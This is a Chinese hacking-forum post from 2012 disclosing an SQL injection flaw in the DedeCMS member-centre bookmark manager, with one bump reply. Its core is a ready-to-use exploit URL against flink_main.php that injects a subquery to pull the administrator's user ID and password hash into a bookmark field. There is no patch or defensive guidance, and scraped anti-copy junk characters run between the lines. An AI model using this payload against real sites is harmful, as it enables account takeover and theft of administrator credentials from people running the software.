找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2528|回复: 1
打印 上一主题 下一主题

DedeCMS会员中心书签管理SQL注射漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:21:18 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DedeCMS会员中心SQL注射漏洞
2 _( P/ \4 ^8 u" U5 W, k需要magic_quotes_gpc = Off3 q" r# Z9 @; E/ ]& k5 J
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
$ d7 R+ o# |" @- j" ~- i7 S / V8 g- @$ w  s, n! p1 X& c
DedeCMS会员中心书签管理SQL注射漏洞! ]+ T7 c, A- J8 x$ l
成功利用该漏洞可获得管理员密码
+ t# K  e( X# [9 [" d
& W$ s/ j$ n5 A会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
6 ], }5 l) Z7 o- D' o  V% D0 O* z
3 h# Z4 z% K. L& a! \8 H$ ]http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
' N% e! ~6 w9 ?" w& A3 {
回复

使用道具 举报

沙发
发表于 2013-1-10 01:33:59 | 只看该作者
#89 顶起。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表